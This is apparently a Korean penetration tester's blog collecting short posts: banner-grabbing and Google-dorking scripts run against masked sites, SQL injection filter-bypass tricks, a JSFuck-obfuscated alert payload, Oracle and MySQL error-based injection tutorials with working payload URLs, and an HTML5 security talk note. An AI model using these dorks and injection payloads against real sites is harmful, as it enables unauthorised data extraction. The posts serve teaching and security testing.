InfoHeader = ['Server','Set-Cookie','X-Powered-By']
print "Banner Grabbing..."
curl = "http://www.targetdomain.com/"
f = urllib.urlopen(url=curl)
banner = f.info()
print "#### [%s] Infomation ####" % curl
for line in str(banner).split('\n'):
	if line.split(':')[0] in InfoHeader:
		if line.split(':')[0] == 'Set-Cookie':
			if ('asp' in line.lower()) or ('php' in line.lower()) or ('jsession' in line.lower()):
				print line
				continue
			else:
				continue
		print line


# 실행결과


 Banner Grabbing...

#### [http://www.****.org/] Infomation ####

Server: Apache/2.2.8 (Ubuntu) DAV/2 SVN/1.5.1 mod_ssl/2.2.8 OpenSSL/0.9.8g

X-Powered-By: PHP/5.2.4-2ubuntu5.26


Google Dorking 자동화

2013. 5. 19. 11:41


이미 많이 알려진 google dorking.. 업무상으로나 호기심으로 가끔 특정사이트에 대한 dorking 을 시도해 보게 되는데


그리 잦은 일이 아니라 그동안은 수작업으로 해왔었다. 개인적인 이유+필요에 의해서 이번에 파이썬을 이용해서


간단하게 자동화를 해 보았다. 단점은 몇번 이상 쿼리를 날리면 제한되는 듯 하다. 아마도 구글 정책인 것 같다 :)


쿼리 간격을 랜덤하게 조절하고 에이전트를 바꿔주면 상관없이 될 것 같긴 하지만, 그렇게 쿼리를 많이 날릴 필요가


아직은 없기에 나중에 추가할 예정 :)



# googledorking.py

#-*- encoding:utf8 -*-

import json

import urllib

import sys

 

class googledock:

 

    def __init__(self,site,query,queryfilename="query.lst"):

        self.pages = 10

        self.query = query

        self.qfile = queryfilename

        self.site = site

 

    def search(self):

        results = []

        for page in range(0,self.pages):

            rsz = 8

            args = {'q' : "site:" + self.site + " " + self.query,'v' : '1.0','start' : page*rsz, 'rsz': "large",'safe' : "off", 'filter' : 1 }

            q = urllib.urlencode(args)

            search_results = urllib.urlopen('http://ajax.googleapis.com/ajax/services/search/web?' + q)

            data = json.loads(search_results.read())

            results.append(data)

        return results

   

    def get_urls(self):

        """Returns list of result URLs"""

        results = []

        searchresult = self.search()

        for data in searchresult:

            for result in data['responseData']['results']:

                if result:

                    results.append(urllib.unquote(result['unescapedUrl']))

        return results

 

if __name__ == "__main__":

    if len(sys.argv) != 2:

        print "Usage : %s [URL]\n [ex] %s www.target12345.com" % (sys.argv[0],sys.argv[0])

        sys.exit()

    site = sys.argv[1]

    f = open("query.lst")

    print "Starting GoogleDorks..."

    for querystr in f.readlines():

        print "[query : %s ]" % querystr.strip()

        g = googledock(site,querystr.strip())

        g.pages = 1

        resultset = g.get_urls()

        for url in resultset:

               print "\t- ", url 


내용이랄 것도 없고...그저 파일에 담긴 쿼리 리스트를 읽어와서 패킷을 전송하고 응답문을 보여준다.


아래는 실행 결과이다. 도메인은 *로 가렸다.

 C:\Users\hyunmini\Desktop\book\code\1.googledock>python googledork.py .org


Starting GoogleDorks...

[query : inurl:admin ]

        -  http://*.org/project/admin

        -  http://en.*.org/wiki/admin

        -  http://firstsearch.*.org/admin/

                       ...

[query : filetype:sql  intext:user ]

        -  https://www.*.org/trac/browser/branches/rewrite-user-management/docs/powerad

        -  http://www.*.org/trac/browser/contributed_modules/modules/a2billing/a2b/DataBas

        -  http://*.org/trac/browser/guacamole-auth-mysql/schema/002-create-admin-user.sq

                    ...

[query : filetype:bak inurl:"asp|jsp|php" ]

        -  http://www.*.org/home/_baks/home.php.0055.38ec.bak

        -  https://*.org/City Manager Message/_baks/CityManagerMessage.php.0030.da7

        -  http://www.*.org/government/generalinfo/_baks/hours.php.0012.907c.bak

                      ...

[query : intext:"Microsoft OLE DB" +intext:"오류" filetype:asp ]

        -  http://www.*.org/network_information/network_directory/directory_details2.asp

        -  http://www.*.org/help/FAQdetail.asp?FAQid=18

        -  http://www.*.org/gen3/data/clubs/ship_conf.asp

                      ...


어디선가 하루 100번 쿼리 제한이라고 들었던것 같긴 한데 확실친 않다. 나중에 확인해 봐야지...ㅎ


그럼 이만!



웹 점검을 하다 보면, 웹 방화벽 혹은 소스상에서 특정 키워드를 필터링 하는 경우를 볼 수 있다. 


이러한 경우 우회를 하기 위해선 먼저 어떤 문자열들이 필터링 당하는지 확인을 할 필요가 있다.


중요한 것은 먼저 필터링을 "발견" 하는 것이다. 필터링이 적용된 페이지 혹은 사이트의 경우


반응은 여러가지이다. 특정 문자열이 포함될 시 웹사이트의 반응은 아래와 같이 여러가지일 수 있다.



1) 500 에러 발생

2) 200 이지만 에러 페이지로 리다이렉트

3) 그냥 치환

4) 에러 메시지를 통한 자세한 정보 노출

5) 기타.. 



가장 편한 경우는 4) 의 경우이고, 다른 몇가지 경우에도 간단히 필터링되는 문자열을 찾아낼 수 있다.


1) 정상적인 페이지

 view.jsp?no=1155 


2) ' 가 필터링 되지 않아 아래의 경우에도 위와 동일한 응답

 view.jsp?no=11'55

 

3) " 는 필터링 되어 오류 메시지

 view.jsp?no=1155


위와 같은 방식으로 여러가지 특수문자들을 대입해 보면 필터링 당하는 문자열들을 발견할 수 있다.


필터링 당하는 문자열을 파악하고 나면, 공격 페이로드를 구성한 뒤 필터링 당하는 문자열들을 다른 문자열 혹은


함수를 이용하여 우회한다.


1. SQL Injection 

  1) 키워드 필터링 시

   - select, union 등 키워드 우회

      -> SeLEct

      -> s%E%l%e%c%T

      -> selselectect


   - or, and, = 등 필터링 시

      -> ^, |, & 사용

      -> like, between 사용


   - ' 필터링 시 문자열 조립

      -> char(0x41) + char(0x48) 

    

   - 공백 필터링

      -> /**/, %20, %2b, + , %09 등


                                                         ...(작성중)...

  1. 익명 2013.05.17 04:41

    비밀댓글입니다

    • BlogIcon hyunmini 2013.05.23 22:15 신고

      ^ 는 숫자 파라미터에 인젝션 공격을 할때 or 키워드 대신 사용이 가능하며, between 은 =, <, > 를 필터링 할때 사용가능합니다.

      ex) page.php?id=1^5
      ex2) page.php?id=1 and 'c' between 'a' and 'z'


([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()[(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]])([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()[(![]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][(![]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]()+[])[!+[]+!+[]]]((![]+[])[+!+[]]+(+[![]]+[])[+[]])[+[]]+(+[![]]+[+(+!+[]+(!+[]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[+[]]+[+[]]+[+[]])])[+!+[]+[+[]]]+([][[]]+[])[+[]]+([][[]]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(![]+[]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[]+[][[]])[+!+[]+[+[]]])


이게 뭘까요? ㅎㅎ


정답은 alert("hyunmini") 입니다. 자바스크립트 난독화. 


얼마전 웹 워게임을 풀다가 이 테크닉을 이용한 문제가 있었습니다.


대략 말씀드리면, 특정 연산을 하면 결과값이 NaN, Undefined, Number , Boolean, Object 등의 문자열로 반환이 되


는데, 이러한 문자열등을 이용하여 alert 등의 문자를 조립하여 호출하는 방식입니다.



자세한 설명은 아래 URL 참고 :)


http://adamcecc.blogspot.kr/2011/01/javascript.html

http://blog.fgribreau.com/2011/01/javascript.html

http://discogscounter.getfreehosting.co.uk/js-noalnum_com.php





인젝션 기법 중 에러 기반 인젝션은 쉽고 빠르기에 많은 분들이 알고 계시지만, 많은 분들이 MSSQL 에서만 가능한

 것으로 알고 있기도 합니다. 오라클에서의 에러 인젝션은 의외로(?) 잘 모르는 경우가 많습니다. 
(물론 알 사람들은 다 알지만..)

오라클에서도 마찬가지로 에러 인젝션 취약점이 존재하면 손쉽게 DB 정보를 취득할 수 있기에 오라클 기반의

웹애플리케이션 에서도 상당히 중요한 취약점이라 할 수 있습니다.

어쩃든! 오라클 에러 기반 인젝션에 대해 간단히 적어보겠습니다. 

기본적인 인젝션 개념을 알고 계신다는 전제 하에 설명은 간략히 하겠습니다.


# 예제 페이지 
 - list.jsp  :  id 값을 입력 받아 정보를 뿌려주는 페이지

# 예제 페이지 소스

- 소스를 보면 간단히 id 값을 입력 받아 "select * from users where ID=입력값" 으로 쿼리를 수행하는 것을 알 수 있습니다.


# 에러 발생 유도

- 소스에서 별다른 필터링을 하지 않기 때문에 ' 를 입력하면  쿼리문은 아래와 같이 입력되어 에러를 유발합니다.

  select * from users where ID=' 3 ' '  

 위에서와 같이 오라클 예외 에러 메시지(ORA-xx) 가 발생한다면 이 페이지에는 에러 기반 인젝션이 가능합니다.



# 인젝션 가능성 확인

위와 같이 입력하여 3 일때와 동일하게 결과가 출력된다면 확실하게 인젝션이 가능합니다.


# 에러 기반 인젝션에 이용할 패키지

에러기반 인젝션을 위해 에러 메시지를 뿌려줄 특별한 패키지를 사용합니다. 

위 말고도 몇가지 다른 패키지도 있습니다.

utl_inaddr.get_host_name() 은 해당 호스트를 질의할 수 없으면 에러 메시지로 해당 문자열을 출력합니다.



# 에러 메시지 확인


해당 패키지 안의 문자열이 표시됨을 알 수 있습니다. 

즉, 해당 () 안에 원하는 쿼리문을 실행시켜 쿼리 결과값이 보이도록 할 수 있다는 것을 확인 할 수 있습니다.


# 에러기반 인젝션 수행


 - 위와 같이 알수없는 "쿼리 결과값" 호스트 라는 형식으로 쿼리 결과값을 확인 할 수 있습니다 ^^


   지금까지 짧은 인젝션 팁이었습니다. 

 

 

SQL Injection 에서도 에러 기반 인젝션은 상당히 쉽고 빠른 방법 중 하나로 알려져 있습니다.

 

에러메시지를 기반으로 하기 때문에 결과값을 눈으로 확인할 수 있고 한번 공격에 한번이상 쿼리 결과 확인이

 

가능하기 때문입니다. 하지만 주로 알려진 것은 MSSQL 에서의 에러기반 인젝션이고, 그에 반해 oracle 이나

 

mysql 에러 기반인젝션은 많이 알려져 있지 않습니다. oracle 또한 예전에 제가 글을 올린적이 있었죠~. 이번엔

 

mysql 에서도 이러한 에러기반 인젝션이 가능함을 보여드리고, 또 위험성을 알리려고 합니다.

 

(단순 쿼리 에러메시지 정도야 뭐 어때라고 생각하시면 절대 안된다는 것입니다)

 

 

 

# MySQL Error Based SQL Injection 예시

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;
 ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key'

 

위와 같은 쿼리문을 날리면 group by 키워드에 해당하는 a필드가 중복되기 때문에 보시는 바와 같이 오류 메시지를

 

통해원하는 쿼리문의 결과를 확인 할 수 있습니다.

 

 

 

# ex) http://www.test.com/view.php?id=hyunmini

 

1) 정상 쿼리문

 -> http://www.test.com/view.php?id=hyunmini

 mysql> select id,name from userinfo where name='hyunmini';
+------+----------+
| id   | name     |
+------+----------+
| test | hyunmini |
+------+----------+
1 row in set (0.00 sec)

 

2) 에러기반 인젝션 공격 쿼리문

 -> http://www.test.com/view.php?id=xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#
 

 mysql> select id,name from userinfo where id='xx' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b);
ERROR 1062 (23000): Duplicate entry 'result: test :1' for key 'group_key'

 

 

어차피 인젝션이 존재한다는 가정하게 가능한 것이긴 하지만, blind 보다 데이터를 빼내오는 속도가 월등히 빠르기 때

 

문에 유용할 수 있습니다. 그럼 이만~

 

  1. k983803 2013.05.02 00:56

    위 공격기법 따라해볼려고 하는대 간단한 로그인 php코드를 구하고 싶내요...
    참조할만한 사이트가 어디 없나요??? ㅜㅜ

  2. 아니! 2013.10.22 22:56

    hyunmini 님의 블로그 였군요 !

  3. 익명 2013.11.07 18:06

    비밀댓글입니다

  4. 익명 2015.03.25 22:41

    비밀댓글입니다

  5. BlogIcon Rap1er 2018.09.03 07:55 신고

    안녕하세요 현민님, 혹시 질문에 답해주실 수 있을까요~
    이 쿼리가 에러를 출력하는 이유가 group key가 중복돼서 발생하는걸로 알고있는데요.
    rand함수에 인자를 주지 않고 쿼리를 보냈을 때, 아래와 같은 결과가 출력되었어요

    mysql> select floor(rand()*2) x, id, count(*) from member group by x;
    +---+------+----------+
    | x | id | count(*) |
    +---+------+----------+
    | 0 | test | 3 |
    | 1 | test | 7 |
    +---+------+----------+
    2 rows in set (0.00 sec)

    이때도 에러가 발생하긴 하는데, 발생안하고 결과가 나올 때도 있어서요.
    그룹키가 중복이 돼서 에러가 발생하는걸로 알고있는데
    rand함수에 인자를 주지 않았을 때도 무조건 그룹키가 중복이 발생할텐데 저렇게 출력이 되는게 잘 이해가 안됩니다...
    제가 잘못 이해하고 있는 부분이 있는지 잘 이해가 안되는데 알려주실수있을까요


웹 프록시 툴 burp suite 의 다양한 확장팩(?) 을 모아둔 사이트 입니다.


저도 최근에 관심이 생겨서 python 으로 된(정확히는 jython 을 이용하여 연결해주는) extionsion framework 를 공부 


중입니다. 아무래도 업무를 하다보면 자동화를 위해 툴제작을 할 수 밖에 없죠 ㅎㅎ


http://www.burpextensions.com/burpextensions.html

HTML5 / Hacking & Security

2012. 8. 3. 02:11


안녕하세요. 2년만에 다시 블로깅 시작합니다. 


( 요즘 더워서 그런지, 점점 나태해 지는 것 같아 공부에 대한 열정을 되찾기 위하여!!) 


첫번째 글은 Secuholic 6차 세미나에서 발표했던 HTML5 해킹&보안에 관한 자료입니다. 


HTML5 는 이미 다양한 사이트에 적용되고 있습니다. 좋은 예로 네이버 대용량 파일 첨부, 그림첨부 등이 ActiveX 


에서 HTML5 기반으로 바뀌었죠. 이로 인해 플러그인 설치 없이(새로고침 없이!) 다양한 기능들을 이용할 수 있게


되었습니다. HTML5 스펙이 확정되는 2014 년 이후에는 좀 더 많은 사이트에 적용이 되지 않을까 추측해 봅니다.


몇가지 새로운 특징들에 대한 소개와, 이 새로운 특징들을 이용한 공격유형에 대해서 다루었습니다.



# HTML 5 # 


- New Element ( Video, Audio, Canvas … )

- New Attribute

- New Handler

- Strong Web Form

- New API ( Drag&Drop , Communication, Geolocation, File … )

- Web Storage ( Web SQL Database, Session Storage, Local Storage )

- Web Worker

- Web Socket

                      ...


HTML5_security_hyunmini.pdf


  1. BlogIcon SecuOf 2013.05.09 13:53 신고

    좋은 글이군요 ~~~ 잘 봤습니다.

+ Recent posts